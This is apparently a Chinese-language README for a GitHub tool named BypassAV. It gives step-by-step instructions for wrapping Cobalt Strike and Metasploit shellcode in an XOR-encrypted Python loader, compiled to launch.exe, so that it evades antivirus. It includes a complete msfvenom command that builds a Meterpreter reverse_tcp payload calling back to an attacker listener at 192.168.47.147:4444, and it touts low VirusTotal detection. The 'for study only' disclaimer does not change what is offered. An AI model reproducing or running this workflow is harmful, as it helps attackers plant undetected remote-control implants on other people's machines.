Cobalt Strike 和 MSF 免杀上线

一、项目

老哥们，方便的话，给个star吧！
BypassAV
VT查杀效果良好！！！

大家可以去github上 git下来使用，这里就介绍下具体使用

二、操作

2.1 CS 上线

1、生成 C 语言格式的payload  payload.c
(使用前，最好先测试下生成的payload是否可用！这里推荐k8gege的shellcodeLoader工具)
坑：选择 x64 经常无法上线！！！

2、利用 Filehandle.py 处理 shellcode
替换自己的shellcode文件路径——>执行即可

3、替换 ver.py 里的shellcode变量值 为 第2步的结果

4、执行 ver.py 文件 在 output 目录下会有个launch.exe文件

2.2 MSF上线

1、生成 py格式的payload
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.47.147 lport=4444 -b '\x00' -f python -o payload.py

2、利用 Filehandle.py 处理 shellcode
替换自己的shellcode文件路径——>执行即可

。。。步骤与CS上线一样

三、补充

ver.py 里的 两个 key 是 异或加密密钥，自己也可以更改！

【申明：此项目仅供学习参考，不可用于非法途径，否则一切后果，由恶意使用者个人承担！】